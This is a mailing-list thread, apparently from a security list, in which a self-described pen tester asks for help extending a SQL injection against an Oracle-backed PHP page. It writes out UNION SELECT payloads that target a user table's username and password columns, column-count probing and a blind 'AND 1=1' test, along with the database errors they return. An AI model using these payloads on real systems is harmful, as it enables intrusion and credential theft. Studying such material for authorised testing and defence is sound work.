Re: Oracle URL SQL Injection issue

One more step closer

I'm able to enumerate the column names for user table
as username and password.

http://x.y.z.a/item.php?Id=90%20union%20select%20username,password%20from%20usr

This doesn't generate an error. If I change column
names a bit I get error.

Unfortunately I'm not getting the data returned in
HTML. This is a private forum site. With the url above
I do get the page for the correct forum but nothing
about usr table. 

Any pointers?

Can I use union to insert a username and password in
usr table?

Hmm.. with Jeff's input below I enumerate that there
are 2
columns. 

This time I gave


http://x.y.z.a/item.php?Id=90%20union%20select%201,1%20from%20usr

Now I get following error:

ociexecute() [function.ociexecute]: OCIStmtExecute:
ORA-01790: expression must have same datatype as
corresponding expression in dbs.inc on line 44

The I tried following:


http://x.y.z.a/item.php?Id=90%20union%20select%201,'a'%20from%20usr


http://x.y.z.a/item.php?Id=90%20union%20select%201,1%20from%20usr

And get the error

ociexecute() [function.ociexecute]: OCIStmtExecute:
ORA-00911: invalid character in dbs.inc on line 44

The functionality of the page is to generate an
email
page/forum email page.

Any idea what's next?

Hey List

I am pen testing a web app that supplies sql
parameters on the URL something like

http://x.y.z.a/item.php?Id=90

I did blind sql injection by adding AND 1=1 to
confirm
the vulnerability.

Now when I do

http://x.y.z.a/item.php?Id=90&apos;

I get 

ociparse() [function.ociparse]: OCIParse:
ORA-01756:
quoted string not properly terminated in
item.php
on
line 312

Then I tried (after confirming presence of usr
table
name)




http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%20*%20from%20usr;--

and I get the error

ociexecute() [function.ociexecute]:
OCIStmtExecute:
ORA-01789: query block has incorrect number of
result
columns in dbs.inc on line 44

I know one valid user account in the oracle DB.

Any idea what's the best strategy to move
forward?

I'm not getting any further from here so far.

Any advise / helpo would be much appreciated.

Cheers'
